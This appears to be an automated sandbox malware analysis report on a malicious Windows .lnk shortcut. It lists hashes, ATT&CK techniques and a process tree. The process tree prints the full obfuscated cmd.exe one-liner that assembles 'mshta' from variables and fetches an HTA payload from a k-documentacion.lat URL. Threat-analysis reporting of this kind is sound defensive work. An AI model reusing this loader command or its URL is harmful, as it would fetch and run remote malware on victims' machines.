d21d3a295ab8ee584c4c5351228da29ca1ddd8c3942daa7955be4bb9edac21e7

Analysis

max time kernel
58s
max time network
47s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 03:01

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General

Target
DOC-UZK8SG.lnk
Size 1KB
Sample260822-dh1c8aea79
SHA256 d21d3a295ab8ee584c4c5351228da29ca1ddd8c3942daa7955be4bb9edac21e7
MD5 82e46e93e4e2caa229d20e0b7b3bb4c1
SHA1 8114a268fc5793d18a372e2319ebdbd845156445
SHA512 fc25d99f9e0875f5bc866b583e6273b07aea51f0f3ad89ffa90fd2c7bd80e2b954add255824d4b2a74b461c9bf4e86653e271b71a93ae78c6ef09252ec06e839
TLSH
T1B73170103EFD0569F3F79F7684BB5B1089BFB9558D10C61E4140854D5032A11E67BF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5576	cmd.exe
2620	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5576 wrote to memory of 2620	5576	cmd.exe	90
PID 2620 wrote to memory of 4688	2620	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-UZK8SG.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5576
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set YqSp=msh&&set RS=ta&&start "" !YqSp!!RS! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:4688

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads